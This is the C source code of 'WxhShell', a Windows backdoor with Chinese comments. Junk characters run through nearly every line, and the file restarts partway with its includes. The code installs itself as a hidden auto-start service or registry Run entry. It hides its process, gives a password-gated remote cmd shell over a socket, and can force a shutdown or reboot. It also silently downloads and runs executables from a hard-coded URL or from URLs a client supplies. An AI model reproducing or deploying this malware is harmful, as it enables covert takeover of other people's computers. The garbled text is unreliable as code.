    } F?dTCa  
  // 关机 980+Y  
  case 'd': { ^*r${Nj  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); '|cuVxcE55  
    if(Boot(SHUTDOWN)) 8%NX)hZyq}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q"cFw${  
    else { |z4/4Y@  
    closesocket(wsh); H}@|ucM"\  
    ExitThread(0); pQ/:*cd+M  
    } L fi]s  
    break; }E=kfMu  
    } PY2`RZ/@  
  // 获取shell 9w(j2i q  
  case 's': { K1hw' AaQ  
    CmdShell(wsh); OYzJE@r^  
    closesocket(wsh); _+. t7q^  
    ExitThread(0); u,pm\  
    break; {NFeX'5bP  
  } @Yg7F>s  
  // 退出 ::R^ w"  
  case 'x': { a} /Vu"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); lt*k(JD  
    CloseIt(wsh); gPf aiVY  
    break; :Hd<S   
    } m<yA] ';s  
  // 离开 jTqba:q@  
  case 'q': { V.F 's(o  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); nFP2wvFM  
    closesocket(wsh); eS"gHldz  
    WSACleanup(); Brl6r8LGi  
    exit(1); EvYw$ j  
    break; <Kh\i'8  
        } <|8 l;  
  } }J*&()`  
  } ^4[\-L8Lpq  
NqWHR~&  
  // 提示信息 oY] VP+b!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7Y)wu$!7}  
} ,VZ&Gc  
  } kgIWgk%  
=.%ZF]Oe+#  
  return; 1t0F J@)*  
} EK'&S=]  
TM}F9!*je  
// shell模块句柄 D6vn3*,&  
int CmdShell(SOCKET sock) X+3)DE\2  
{ )&9 =)G  
STARTUPINFO si; N!v@!z9Mu  
ZeroMemory(&si,sizeof(si)); w0IB8GdF  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y(R*Z^c}d,  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !G,$:t1-=V  
PROCESS_INFORMATION ProcessInfo; @v'D9 ?  
char cmdline[]="cmd"; I>xB.$A  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gv,T<A?Z2  
  return 0; <\8   
} =oTYwU  
U&5zs r  
// 自身启动模式 W wE)XE  
int StartFromService(void) ]UI+6}r  
{ t[maUy _A  
typedef struct >R: +ml  
{ b[k 1)R"  
  DWORD ExitStatus; iF0a  
  DWORD PebBaseAddress; K8 Y/XEK  
  DWORD AffinityMask; 5 QeGx3'  
  DWORD BasePriority; @}Ixr{t  
  ULONG UniqueProcessId; Lwcw%M]  
  ULONG InheritedFromUniqueProcessId; ;Y '\:  
}   PROCESS_BASIC_INFORMATION; 10rGA=x'(  
b>z.d-  
PROCNTQSIP NtQueryInformationProcess; s`J=:>9*  
hq*JQb;Y}  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; \,EPsQV0?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; VqrMi *W6  
L1xD$wl  
  HANDLE             hProcess; iK]g3ew|  
  PROCESS_BASIC_INFORMATION pbi; ^zJ. W  
vw]nqS~N  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ##@#:B  
  if(NULL == hInst ) return 0; 5%`Ul  
8_m9CQ6 i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); tb{{oxa,k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); QT$1D[>  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c #!6  
Vr1|%*0Tv  
  if (!NtQueryInformationProcess) return 0; >l1Yhxd_0*  
IpJv\zH7  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O)|4>J*B  
  if(!hProcess) return 0; Ltw7b  
\.a .'l  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; G7;}309s  
EM*Or Ue  
  CloseHandle(hProcess); h yKg=Foq  
Zsogx}i-  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q75^7Ga_  
if(hProcess==NULL) return 0; ?<?C*W_  
KUutC :  
HMODULE hMod; e W)I}z +{  
char procName[255]; W~F/ZrT3A  
unsigned long cbNeeded; a~7osRmp0  
;8T=uCi  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ~BZV:Es  
KaE;4gwM  
  CloseHandle(hProcess); bW^QH-t  
HdUW(FZ  
if(strstr(procName,"services")) return 1; // 以服务启动 KL  mB  
-C}59G8  
  return 0; // 注册表启动 BmFME0  
} _ICDtG^  
j~H`*R=ld#  
// 主模块 `_A?a_[*  
int StartWxhshell(LPSTR lpCmdLine) vx@p;1RU`  
{ [Be53U{=  
  SOCKET wsl; "T%'Rp`j|  
BOOL val=TRUE; p.] .M"A  
  int port=0; @%nUfG7TQ  
  struct sockaddr_in door; xJLO\B+gM  
TY\"@(Q|G  
  if(wscfg.ws_autoins) Install(); <57l|}8  
AdW2o|Uap  
port=atoi(lpCmdLine); rOHW  
)xx/di  
if(port<=0) port=wscfg.ws_port; jgKL88J*\  
W+ '}O<  
  WSADATA data; T\!SA  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; T;r];Y(b*  
(OcNC/9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   )v{41sM+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); -xu.=n@,  
  door.sin_family = AF_INET; by]|O  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <1+6O[>{  
  door.sin_port = htons(port); ~: <@`  
!b->u_  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 7 eQoc2X2  
closesocket(wsl); j4xr1y3^  
return 1; ' xZPIj+  
} K}<!{/fi)  
%)Uvf`Xhh4  
  if(listen(wsl,2) == INVALID_SOCKET) { Z)i1?#  
closesocket(wsl); ([CnYv  
return 1; x<j"DS}S)D  
} ?U/Wio$@  
  Wxhshell(wsl); |id79qY7g  
  WSACleanup(); XQJ^)d00h  
u%1k  
return 0; XH:gQ9FD  
if[o?6U4t  
} 4_762Gu%  
N 3yB1_   
// 以NT服务方式启动 1|WpKaMoq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) RvSq KW8  
{ sMS9!{A  
DWORD   status = 0; Wj j2J8B  
  DWORD   specificError = 0xfffffff; ;#yu"6{  
QS [B  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ?hJsN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; bjPbl2K  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -V u/TT0  
  serviceStatus.dwWin32ExitCode     = 0; vMX6Bg8  
  serviceStatus.dwServiceSpecificExitCode = 0; dHq )vs,L  
  serviceStatus.dwCheckPoint       = 0; e9`uD|KAS|  
  serviceStatus.dwWaitHint       = 0; wvmg)4,  
3hXmYz(  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b;J0'o^G|  
  if (hServiceStatusHandle==0) return; hHc^ZA  
RQpIBsj  
status = GetLastError(); 2WPF{y%/  
  if (status!=NO_ERROR) QPe9s[Y  
{ ]fADaw-R  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .5!sOOs$P  
    serviceStatus.dwCheckPoint       = 0; %-ZR~*  
    serviceStatus.dwWaitHint       = 0; -RH4y 2  
    serviceStatus.dwWin32ExitCode     = status; Z&]+A,  
    serviceStatus.dwServiceSpecificExitCode = specificError; s1Tl.p5  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); /LI~o~m1)  
    return; N+s?ZE*  
  } FQ^<,  
l!;_lH8W$  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 'lN*Ys iDi  
  serviceStatus.dwCheckPoint       = 0; Z cTL#OTP  
  serviceStatus.dwWaitHint       = 0; c2/R]%`)9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U+*oI*  
} Z6R: rq  
N* ] i G~  
// 处理NT服务事件,比如:启动、停止 (9KDtr*(2i  
VOID WINAPI NTServiceHandler(DWORD fdwControl) =(.mf  
{ V%BJNJ  
switch(fdwControl) 5fegWCJ  
{ -4vHK!l  
case SERVICE_CONTROL_STOP: (K*/Vp  
  serviceStatus.dwWin32ExitCode = 0; &e ?"5  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; UbY~xs7_  
  serviceStatus.dwCheckPoint   = 0; f3zfRhkIk  
  serviceStatus.dwWaitHint     = 0; :m* !?QGdL  
  { G9i&#)nWr  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $m:2&lU3  
  } }$Hs;4|  
  return; \[[TlB>  
case SERVICE_CONTROL_PAUSE: (ET ;LH3  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *>aZc::  
  break; U0h )pdo  
case SERVICE_CONTROL_CONTINUE: T2 :oWjC3$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 8tLT'2+H#  
  break; {=bg5I0|a  
case SERVICE_CONTROL_INTERROGATE: ]&C:>  
  break; FDF3zzP0  
}; <.r ]dCf  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); qe5tcv}u  
} stg30><  
>'} Y1_S5  
// 标准应用程序主函数 [y|^P\D  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) h v$uH7Fz  
{ z^gQ\\,4  
`1fJ:b/M  
// 获取操作系统版本 {PODisl>\D  
OsIsNt=GetOsVer(); 4|> rwQ~t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p^KlH=1n.6  
Rwc[:6;fn  
  // 从命令行安装 r,2Xu  
  if(strpbrk(lpCmdLine,"iI")) Install(); "x#]i aDjf  
L_THU4^j  
  // 下载执行文件 mL:m;>JJ n  
if(wscfg.ws_downexe) { 2^)D .&  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) c*x J=Gz6d  
  WinExec(wscfg.ws_filenam,SW_HIDE); QKp+;$SE'  
} ^&+zA,aL,A  
7tpAZ<{  
if(!OsIsNt) { Mx O W)$f  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ws-6W!Ib%  
HideProc(); @Jb@L  
StartWxhshell(lpCmdLine); Rk($lW)  
} bz, Da  
else O.@g/05C  
  if(StartFromService()) ,wtFs!8  
  // 以服务方式启动 M82.khm~jM  
  StartServiceCtrlDispatcher(DispatchTable); 8hTR*e! +  
else <|{L[  
  // 普通方式启动 = n+q_.A  
  StartWxhshell(lpCmdLine); %`xV'2H  
K&=1Ap  
return 0; RLdl z  
} |av*!i5Q  
oLgg  
Km6Ub?/7o  
Op`I;Q #%d  
=========================================== e Wb0^8_  
![*:.CW  
;_mgiKHg  
]3n, AHA  
c3=-Mq9Q  
[J a)<!]<  
" _1I K$gb[  
@%6)^]m}r  
#include <stdio.h> 't +"k8  
#include <string.h> r_b8,I6{]  
#include <windows.h> v6wRME;JA  
#include <winsock2.h> _*O7l  
#include <winsvc.h> 3p:=xL  
#include <urlmon.h> Z5((1J9  
jCU=+b=  
#pragma comment (lib, "Ws2_32.lib") d{er |$E?  
#pragma comment (lib, "urlmon.lib") B4`2.yRis  
qBT_! )h   
#define MAX_USER   100 // 最大客户端连接数 &MCy.(jN  
#define BUF_SOCK   200 // sock buffer }5Yj  
#define KEY_BUFF   255 // 输入 buffer # v{Y=$L  
T"n{WmVQ  
#define REBOOT     0   // 重启 yC0C`oC  
#define SHUTDOWN   1   // 关机 JZ`>|<W  
8O,? |c=>  
#define DEF_PORT   5000 // 监听端口 ^'m\D;  
*6:v}#b[  
#define REG_LEN     16   // 注册表键长度 ^#]c0  
#define SVC_LEN     80   // NT服务名长度 xC<=~(  
qs=Gj?GwGQ  
// 从dll定义API *i@sUM?K  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +T9Q_e*  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); eymi2-a<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ? m&IF<b  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); :.Y|I[\E%  
he"L*p*H  
// wxhshell配置信息 O/mR9[}  
struct WSCFG { r]v&t  
  int ws_port;         // 监听端口 \Ke8W,)ew  
  char ws_passstr[REG_LEN]; // 口令 yH*hL0mO  
  int ws_autoins;       // 安装标记, 1=yes 0=no rvW!7 -R  
  char ws_regname[REG_LEN]; // 注册表键名 2;8Xz 6T  
  char ws_svcname[REG_LEN]; // 服务名 $30oc Tt{  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W7t >&3l  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |~z3U>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *P`v^&  
int ws_downexe;       // 下载执行标记, 1=yes 0=no xdPcsox~  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" YQ; cJ$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 N1%p"(  
bG "H D?A_  
}; " jT#bIm  
1@xP(XS  
// default Wxhshell configuration S@x}QQ|.  
struct WSCFG wscfg={DEF_PORT, UEzsDJu  
    "xuhuanlingzhe", C;9t">prk  
    1, R,%_deV\(  
    "Wxhshell", j.DHqHx  
    "Wxhshell", kB o;h.[l  
            "WxhShell Service", -LTKpN`[@  
    "Wrsky Windows CmdShell Service", wzd`l?o,  
    "Please Input Your Password: ", I"-dTa  
  1, #<4--$Xo  
  "http://www.wrsky.com/wxhshell.exe", ylu2R0] (  
  "Wxhshell.exe" @dl8(ILk'  
    }; -OrR $w|e  
+]c/&Xo!  
// 消息定义模块 WSRy%#  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; n0Go p^3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Jy]Id*u9  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 6JhMkB^h  
char *msg_ws_ext="\n\rExit."; ygN>"eP  
char *msg_ws_end="\n\rQuit."; pV7N byb4  
char *msg_ws_boot="\n\rReboot..."; {Bh("wg$Lk  
char *msg_ws_poff="\n\rShutdown..."; Ea-bC:>  
char *msg_ws_down="\n\rSave to "; !DPF7x(-{  
61} i5o  
char *msg_ws_err="\n\rErr!"; /t*YDWLg  
char *msg_ws_ok="\n\rOK!"; WfZF~$li`  
C ZJV_0  
char ExeFile[MAX_PATH]; .oEbEs  
int nUser = 0; Ql8bt77eI-  
HANDLE handles[MAX_USER]; b._m8z ~  
int OsIsNt; m[spn@SF  
e # 5BPI  
SERVICE_STATUS       serviceStatus; LEZ&W ;bCo  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;$7v%Ls=  
PnA?+u2m  
// 函数声明 Z, T#,  
int Install(void); y%S})9  
int Uninstall(void); " !-Kd'V  
int DownloadFile(char *sURL, SOCKET wsh); } #Doy{T  
int Boot(int flag); yoQ\lk  
void HideProc(void); C`QzT{6!  
int GetOsVer(void); iCP~O  
int Wxhshell(SOCKET wsl); Pz%~ST  
void TalkWithClient(void *cs); a[sKE?  
int CmdShell(SOCKET sock); 9cG<hX9`F  
int StartFromService(void); ^]>aHz9  
int StartWxhshell(LPSTR lpCmdLine); %D`o  
yS!(Ap  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )MSZ2)(  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); @E%DP9.I  
L[y Pjw:0  
// 数据结构和表定义 -R0/o7  
SERVICE_TABLE_ENTRY DispatchTable[] = zT[6eZ8m  
{ &J$##B  
{wscfg.ws_svcname, NTServiceMain}, (u&`Ij9  
{NULL, NULL} e4\dpvL  
}; W\8Ln>  
Z(e ^iH  
// 自我安装 $'{=R 45Z  
int Install(void) jn JZ# =)  
{ ]a?bzOr,  
  char svExeFile[MAX_PATH]; $shp(T,q  
  HKEY key; X:EEPGE  
  strcpy(svExeFile,ExeFile); (RE2I  
&eQJfc\a  
// 如果是win9x系统,修改注册表设为自启动 O("Uq../3  
if(!OsIsNt) { .Q* 'r& n  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { gmP9j)V6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 19t{|w<  
  RegCloseKey(key); z)-c#F@%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W2]TRO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); rjk( X|R*  
  RegCloseKey(key); 0fArF*  
  return 0; o ehaQ#e  
    } 1/;o  
  } Y3Oz'%B  
} D#Kuo$  
else { ^zr^ N?a  
n?xTkkr0  
// 如果是NT以上系统,安装为系统服务 tU@zhGb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); "35A/V  
if (schSCManager!=0) -tLO.JK<  
{ c5% 6Y2W0  
  SC_HANDLE schService = CreateService e,gyQjJR  
  ( QJGKQ2^ n  
  schSCManager, .c+9P<VmC}  
  wscfg.ws_svcname, QkQ!Ep(  
  wscfg.ws_svcdisp, :Ht; 0|[H  
  SERVICE_ALL_ACCESS, )nfEQ)L;h}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Am"(+>W21  
  SERVICE_AUTO_START, YcDe@Zuwn  
  SERVICE_ERROR_NORMAL, F #`=oM $5  
  svExeFile, t;NV $!!  
  NULL, ' cIEc1y  
  NULL, /7"I#U^u/  
  NULL, [k<1`z3  
  NULL, {tiKH=&J  
  NULL [}z,J"Un  
  ); M 4yI`dr6  
  if (schService!=0) vFv3'b$;G  
  { I&VTW8jB  
  CloseServiceHandle(schService); )[Z!*am  
  CloseServiceHandle(schSCManager); l \OLyQ  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); KP]"P*? ?  
  strcat(svExeFile,wscfg.ws_svcname); E4z)Mr#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 6.WceWBR  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); >''U  
  RegCloseKey(key); <vV_%uo M  
  return 0; aYn^)6^  
    } K> g[k_  
  } }G V X>p  
  CloseServiceHandle(schSCManager); GVGlVAo|@  
} V3Z]DA  
} g}LAks  
lLhL`C!  
return 1; QzvHm1,@  
} oUZoj2G1  
q5DEw&UZJ  
// 自我卸载 H`9Uf)  
int Uninstall(void) ~f\G68c  
{ O+q/4  
  HKEY key; 88s/Q0l  
6%G-Vs]*2  
if(!OsIsNt) { ~`ny @WD9  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { };L ^w :  
  RegDeleteValue(key,wscfg.ws_regname); ^h' Sla  
  RegCloseKey(key); I:cg}JZ>|  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i1lBto[  
  RegDeleteValue(key,wscfg.ws_regname); S$,'Q^~K  
  RegCloseKey(key); u\yVR$pQ  
  return 0; fWnD\mx?0  
  } ]6r;}1c  
} zi9[)YqxPH  
} w"Y` ]2  
else { RE2&mYt  
58Xzup_"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); e'%v1-&sP  
if (schSCManager!=0) "qz3u`[o  
{ (t+;O;  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ZBT1Y.qA  
  if (schService!=0) 46@{5)Tq  
  { 'k0[rDFc#3  
  if(DeleteService(schService)!=0) { Pz*_)N}j >  
  CloseServiceHandle(schService); m0n)dje  
  CloseServiceHandle(schSCManager); l7H qo)  
  return 0; YyAJ m^o  
  } \NZIEu)5?  
  CloseServiceHandle(schService); bNs4 5hDP  
  } }@ Z56  
  CloseServiceHandle(schSCManager); V" \0Y0  
} *iBTI+"]  
} H,3\0BKk  
OJ|r6  
return 1; :}8Z@H!KkY  
} ,l YE  
W!Hm~9fz  
// 从指定url下载文件 "5R~(+~<@  
int DownloadFile(char *sURL, SOCKET wsh) \MC-4Yz  
{ EP'h@zdz  
  HRESULT hr; q;g>t5]a  
char seps[]= "/"; l/TjQ*  
char *token; ,2Q o7(A  
char *file; W&* f#E  
char myURL[MAX_PATH]; MTg:dR_  
char myFILE[MAX_PATH]; c #-U%qZ  
M>9-=$7  
strcpy(myURL,sURL); tz4 ]qOH8  
  token=strtok(myURL,seps); ^z1&8k"[^  
  while(token!=NULL) kft #R#m  
  { %,Sf1fUJ  
    file=token; 3s\.cG?`r  
  token=strtok(NULL,seps); [FA{x?v kf  
  } c\B|KhDk  
Vtc36-\1*  
GetCurrentDirectory(MAX_PATH,myFILE); *_a@z1  
strcat(myFILE, "\\"); {"oxJ`z4  
strcat(myFILE, file); f=C,e/sw  
  send(wsh,myFILE,strlen(myFILE),0); eAv4FA4g  
send(wsh,"...",3,0); wO ?+Nh  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); U*Ge<(v$  
  if(hr==S_OK) m8'C_U^89  
return 0; L^2FQti>  
else dm0QcW4  
return 1; D]w!2k%V  
xh7cVE[UM  
}  ]#7zk9  
pyLRgD0 g  
// 系统电源模块 kB?al#`  
int Boot(int flag) 5` Te \H  
{ mxb(<9O  
  HANDLE hToken; g?-lk5  
  TOKEN_PRIVILEGES tkp; |f~@8|MQP+  
.CL^BiD.D  
  if(OsIsNt) { j83p)ido  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I}Nd$P)>  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); _ZY)M  
    tkp.PrivilegeCount = 1; ?\C"YG69T  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,'[<bP'%_  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); (Yp+bS(PU*  
if(flag==REBOOT) { % K(<$!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) pw7[y^[Qg  
  return 0; @u==x *{ |  
} -@T/b$]'n  
else { zSo)k~&[3  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) qM#R0ZUIe\  
  return 0; kOI t(e  
} _g1b{$  
  } 6-?66g mT  
  else { K>*a*[t0Sy  
if(flag==REBOOT) { V&-~x^JK  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) J7r|atSk  
  return 0; fS~;>n%R  
} oc8:r  
else { PaV-F_2  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $<:E'^SAS  
  return 0; `PY>Hgb  
} %f($*l.  
} jqPkc28  
=bEda]  
return 1; K|dso]b/  
} w@N  
h;6lK$!c  
// win9x进程隐藏模块 ByCnD  
void HideProc(void) `jwa<N4e@  
{ 7o8{mp'_  
31/Edd"]  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s kg*  
  if ( hKernel != NULL ) ]X I*Wsn  
  { /_ `lz^  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); R: l&2k@  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V}\~ugN)y  
    FreeLibrary(hKernel); @}u9Rn*d;  
  } ],P;WPU  
?O>V%@  
return; <=f}8a.R3  
} 9K9DF1SOa  
oWYmj=D~2z  
// 获取操作系统版本 a'z)  
int GetOsVer(void) +nJUFc  
{ :=J,z,H_U  
  OSVERSIONINFO winfo; =$]uoA  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); )_U<7"~0l  
  GetVersionEx(&winfo); >nzdnF_&zW  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xQUu|gtL4  
  return 1; !Q#{o^{Y~  
  else lT(oL|{#P  
  return 0; K_dOq68_  
} kT;S4B  
-wjN"g<  
// 客户端句柄模块 F&&$Qn_+  
int Wxhshell(SOCKET wsl) M)U{7c$c7  
{ dPhQ :sd>  
  SOCKET wsh; ]\!?qsT3}  
  struct sockaddr_in client; OoWyPdC+P  
  DWORD myID; .k,kTr$ S  
'Fmvu   
  while(nUser<MAX_USER) o<N  nV  
{ EVoE szR  
  int nSize=sizeof(client); TYy.jFT-  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 0{= `on;  
  if(wsh==INVALID_SOCKET) return 1; ,T2G~^0  
-;'1^  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); R) c'#St  
if(handles[nUser]==0) 3D2E?$dX  
  closesocket(wsh); U~pV)J  
else P>Ez'C  
  nUser++; J>\B`E  
  } '_V2!?+RU+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); t^w"w`v\u  
p\bDY  
  return 0; xXM{pd  
} utIX  %0  
uvrB5=u  
// 关闭 socket t25,0<iW  
void CloseIt(SOCKET wsh) e d<n9R  
{ ]w.;4`l*  
closesocket(wsh); lBaR  
nUser--; uuQ(&  
ExitThread(0); o93`|yWl  
} 0zi~p>*nJC  
 -4cXRv]  
// 客户端请求句柄 >(;{C<6|^  
void TalkWithClient(void *cs) /oriW;OF  
{ ;72T|e  
~-I +9F  
  SOCKET wsh=(SOCKET)cs; %HL*c =  
  char pwd[SVC_LEN]; E160A5BTx  
  char cmd[KEY_BUFF]; :53)N v  
char chr[1]; nVi[  
int i,j; (vTtDKp@  
!TUrQ  
  while (nUser < MAX_USER) { ,gS;m &!'J  
;1a~pF S  
if(wscfg.ws_passstr) { !1ED~3 /X  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z /9>  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CO`_^7o9(  
  //ZeroMemory(pwd,KEY_BUFF); 6b:tyQ  
      i=0; sJDas,7>  
  while(i<SVC_LEN) { #Y4=J 6  
1~PV[2a  
  // 设置超时 ~/P&Tub^  
  fd_set FdRead; #E&80#Z5  
  struct timeval TimeOut; {j7uv"|X7  
  FD_ZERO(&FdRead); ^pYxKU_O  
  FD_SET(wsh,&FdRead); *m#Za<_Gv  
  TimeOut.tv_sec=8; yr lf+tl  
  TimeOut.tv_usec=0; Y 1t\iU  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Wr( y)D<y}  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @w?P7P<O`  
#Jw1IcuH  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *" {lMZ +  
  pwd=chr[0]; C<P%CG&;  
  if(chr[0]==0xd || chr[0]==0xa) { %oO4|JkJX  
  pwd=0; 7:2WgL o  
  break; F~P%AjAx'  
  } w$Rro)?}7  
  i++; sashzVwJ-=  
    } NB8/g0:=n&  
(,8$V\  
  // 如果是非法用户,关闭 socket [Lzw#XE  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); MerFZd 1  
} Gy6l<:;  
} x2DT8u  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ]4pkcV P  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); @CT;g\4  
FGoy8+nB1M  
while(1) { 8/=L2fNN[  
dzDqZQY$  
  ZeroMemory(cmd,KEY_BUFF); v^1pN>#%g  
+w+} b^4  
      // 自动支持客户端 telnet标准   r_-_a(1R:  
  j=0;  {PVWD7  
  while(j<KEY_BUFF) { kYjGj,m"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); |%' nVxc4r  
  cmd[j]=chr[0]; b4QI)z  
  if(chr[0]==0xa || chr[0]==0xd) { 3yB!M  
  cmd[j]=0; J%,*is EL  
  break; |563D#?cR  
  } ;<(W% _  
  j++; sk=-M8;\  
    } 9T*v9d  
FSA1gAW6g  
  // 下载文件 '7i Sp=  
  if(strstr(cmd,"http://")) { L:i-BI`J  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (EI;"N (x  
  if(DownloadFile(cmd,wsh)) c1E'$- K@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6x%h6<#xh*  
  else id1s3b;  
